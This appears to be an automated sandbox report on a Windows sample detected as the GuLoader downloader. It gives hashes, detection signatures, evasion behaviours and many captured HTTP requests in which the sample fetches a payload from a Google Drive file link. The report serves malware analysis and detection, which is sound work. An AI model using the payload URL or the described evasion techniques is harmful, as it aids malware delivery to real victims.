Edit tour

Windows Analysis Report
nRNzqQOQwk.exe

Overview

General Information

Sample name:	nRNzqQOQwk.exe
Analysis ID:	1587595
MD5:	c616c105a117d63de2b4f818c8fdd3e0
SHA1:	fe7d7c8863a5f71e02b2b5b76e1a8f506b08dba7
SHA256:	a180642558a07876a9a047217ef75504a4fe7e1f02e22e1f19ffba8d33e6790a
Infos:

Detection

GuLoader

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

nRNzqQOQwk.exe (PID: 7296 cmdline: "C:\Users\user\Desktop\nRNzqQOQwk.exe" MD5: C616C105A117D63DE2B4F818C8FDD3E0)

nRNzqQOQwk.exe (PID: 8016 cmdline: "C:\Users\user\Desktop\nRNzqQOQwk.exe" MD5: C616C105A117D63DE2B4F818C8FDD3E0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.16901286727.0000000002BAB000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.13419006132.00000000041CB000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:32:07.968991+0100	2803270	2	Potentially Bad Traffic	192.168.11.20	49746	142.250.190.110	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nRNzqQOQwk.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: nRNzqQOQwk.exe	Virustotal: Detection: 67%			Perma Link
Source: nRNzqQOQwk.exe	ReversingLabs: Detection: 70%

Machine Learning detection for sample

Source: nRNzqQOQwk.exe

Joe Sandbox ML: detected

Source: nRNzqQOQwk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49810 version: TLS 1.2

Source: nRNzqQOQwk.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: mshtml.pdbUGP source: nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Code function: 0_2_00405642 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405642
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Code function: 0_2_004060A4 FindFirstFileA,FindClose,	0_2_004060A4
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49746 -> 142.250.190.110:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
